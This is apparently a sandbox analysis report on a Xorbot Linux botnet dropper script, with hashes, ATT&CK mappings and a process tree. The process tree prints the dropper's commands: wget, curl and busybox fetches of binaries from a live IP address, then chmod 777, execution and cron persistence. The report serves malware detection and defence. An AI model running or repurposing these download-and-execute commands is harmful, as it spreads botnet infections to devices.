xorbot | ab9cf57b69b0f3988a832c77e08ee2799b5e1623bf927cc77f48879aae9fc01e

Analysis

max time kernel
150s
max time network
161s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
04-12-2024 00:49

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General

Target

bins.sh
Size

10KB
MD5

f05da6a5f1c558bd14134bace343c53b
SHA1

802bad5f79db08727638201f735df65f813a3d71
SHA256

ab9cf57b69b0f3988a832c77e08ee2799b5e1623bf927cc77f48879aae9fc01e
SHA512

131f0a3d6c279ba5c6bfc52032768bd4e67ac9c6852f05de87e97b8028c2c02467e4d78b9afbbc2c859779007ec3d3f2b14df504c6f378785a27666b65126817
SSDEEP

192:IF6LkGoyxtdO2TFTFhjxDYQ4E8N9tquGiRN9tquEhjxDYQ7FvFTvTxtdO2V:I8LkGoyxtdO2TFTFhjxDYQ4E8N9tquGv

Score

10^/10

xorbot antivm botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral2/files/fstream-6.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmod

pid	Process
710	chmod
724	chmod

Executes dropped EXE 2 IoCs

Processes:

wda1xE9KvGzOQxgwPMl8w9FT1QoziL09BgYPMF2xnqtCLbBq0l23mZi67JvbHuZBDjI2

ioc	pid	Process
/tmp/wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg	711	wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
/tmp/YPMF2xnqtCLbBq0l23mZi67JvbHuZBDjI2	725	YPMF2xnqtCLbBq0l23mZi67JvbHuZBDjI2

Renames itself 1 IoCs

Processes:

wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg

pid	Process
712	wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.3U5E09	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

Processes:

curl

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bgcrontab

description	ioc	Process
File opened for reading	/proc/10/cmdline	wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
File opened for reading	/proc/98/cmdline	wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
File opened for reading	/proc/718/cmdline	wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
File opened for reading	/proc/738/cmdline	wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
File opened for reading	/proc/763/cmdline	wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
File opened for reading	/proc/814/cmdline	wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
File opened for reading	/proc/824/cmdline	wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
File opened for reading	/proc/9/cmdline	wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
File opened for reading	/proc/7/cmdline	wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
File opened for reading	/proc/14/cmdline	wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
File opened for reading	/proc/108/cmdline	wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
File opened for reading	/proc/149/cmdline	wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
File opened for reading	/proc/429/cmdline	wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
File opened for reading	/proc/17/cmdline	wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
File opened for reading	/proc/293/cmdline	wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
File opened for reading	/proc/489/cmdline	wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
File opened for reading	/proc/727/cmdline	wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
File opened for reading	/proc/811/cmdline	wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
File opened for reading	/proc/16/cmdline	wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
File opened for reading	/proc/685/cmdline	wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
File opened for reading	/proc/737/cmdline	wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
File opened for reading	/proc/777/cmdline	wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
File opened for reading	/proc/787/cmdline	wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
File opened for reading	/proc/750/cmdline	wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
File opened for reading	/proc/804/cmdline	wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
File opened for reading	/proc/77/cmdline	wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
File opened for reading	/proc/723/cmdline	wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
File opened for reading	/proc/782/cmdline	wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
File opened for reading	/proc/830/cmdline	wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
File opened for reading	/proc/8/cmdline	wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
File opened for reading	/proc/760/cmdline	wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
File opened for reading	/proc/766/cmdline	wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
File opened for reading	/proc/778/cmdline	wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
File opened for reading	/proc/803/cmdline	wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
File opened for reading	/proc/4/cmdline	wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
File opened for reading	/proc/29/cmdline	wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
File opened for reading	/proc/731/cmdline	wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
File opened for reading	/proc/748/cmdline	wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
File opened for reading	/proc/817/cmdline	wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
File opened for reading	/proc/20/cmdline	wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
File opened for reading	/proc/441/cmdline	wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
File opened for reading	/proc/629/cmdline	wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
File opened for reading	/proc/668/cmdline	wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
File opened for reading	/proc/730/cmdline	wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
File opened for reading	/proc/754/cmdline	wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
File opened for reading	/proc/823/cmdline	wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
File opened for reading	/proc/23/cmdline	wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
File opened for reading	/proc/41/cmdline	wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
File opened for reading	/proc/150/cmdline	wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
File opened for reading	/proc/669/cmdline	wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
File opened for reading	/proc/833/cmdline	wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
File opened for reading	/proc/6/cmdline	wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
File opened for reading	/proc/28/cmdline	wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
File opened for reading	/proc/720/cmdline	wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
File opened for reading	/proc/736/cmdline	wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
File opened for reading	/proc/826/cmdline	wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
File opened for reading	/proc/2/cmdline	wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
File opened for reading	/proc/18/cmdline	wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
File opened for reading	/proc/106/cmdline	wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
File opened for reading	/proc/746/cmdline	wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
File opened for reading	/proc/785/cmdline	wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
File opened for reading	/proc/799/cmdline	wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
File opened for reading	/proc/831/cmdline	wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
File opened for reading	/proc/filesystems	crontab

Writes file to tmp directory 4 IoCs

Malware often drops required files in the /tmp directory.

Processes:

busyboxwgetcurlbusybox

description	ioc	Process
File opened for modification	/tmp/YPMF2xnqtCLbBq0l23mZi67JvbHuZBDjI2	busybox
File opened for modification	/tmp/wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg	wget
File opened for modification	/tmp/wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg	curl
File opened for modification	/tmp/wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:676
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:679
- /usr/bin/wget
  wget http://216.126.231.240/bins/wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
  2⤵
  - Writes file to tmp directory
  PID:684
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:699
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
  2⤵
  - Writes file to tmp directory
  PID:707
- /bin/chmod
  chmod 777 wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
  2⤵
  - File and Directory Permissions Modification
  PID:710
- /tmp/wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
  ./wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:711
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:713
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:714
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:715
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      Reads runtime system information
      PID:716
- /bin/rm
  rm wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
  2⤵
  PID:718
- /usr/bin/wget
  wget http://216.126.231.240/bins/YPMF2xnqtCLbBq0l23mZi67JvbHuZBDjI2
  2⤵
  PID:721
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/YPMF2xnqtCLbBq0l23mZi67JvbHuZBDjI2
  2⤵
  PID:722
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/YPMF2xnqtCLbBq0l23mZi67JvbHuZBDjI2
  2⤵
  - Writes file to tmp directory
  PID:723
- /bin/chmod
  chmod 777 YPMF2xnqtCLbBq0l23mZi67JvbHuZBDjI2
  2⤵
  - File and Directory Permissions Modification
  PID:724
- /tmp/YPMF2xnqtCLbBq0l23mZi67JvbHuZBDjI2
  ./YPMF2xnqtCLbBq0l23mZi67JvbHuZBDjI2
  2⤵
  - Executes dropped EXE
  PID:725
- /bin/rm
  rm YPMF2xnqtCLbBq0l23mZi67JvbHuZBDjI2
  2⤵
  PID:726
- /usr/bin/wget
  wget http://216.126.231.240/bins/PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
  2⤵
  PID:727
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
  2⤵
  PID:728

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/YPMF2xnqtCLbBq0l23mZi67JvbHuZBDjI2

Filesize
127KB

MD5
89077b7bd4bcafca7713be43635c4862

SHA1
fc02edb8fba29ea8ee99e6157ef8560334530052

SHA256
78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

SHA512
1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

Download Submit
/tmp/wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg

Filesize
177KB

MD5
786d75a158fe731feca3880f436082c0

SHA1
79ea2734e43d00cdeabed5586b2c1994d02aef3e

SHA256
5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

SHA512
7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

Download Submit
/var/spool/cron/crontabs/tmp.3U5E09

Filesize
210B

MD5
f5b07d750171e625d572112924221924

SHA1
0ee17fddfe8bcc96a6481a15418f55487cd2b633

SHA256
269941be4abd87977d601e4f5862141867a7e85b957122e10b5eeb1caaed7b74

SHA512
99ec6fd15f81f6724012bd7716a1bb1771511c3ca50b083bf1fc90fed9015f257b8e565f7466add3a267aa99e2feee004c2d38b0569ee62df5cfde4d169b89d5

Download Submit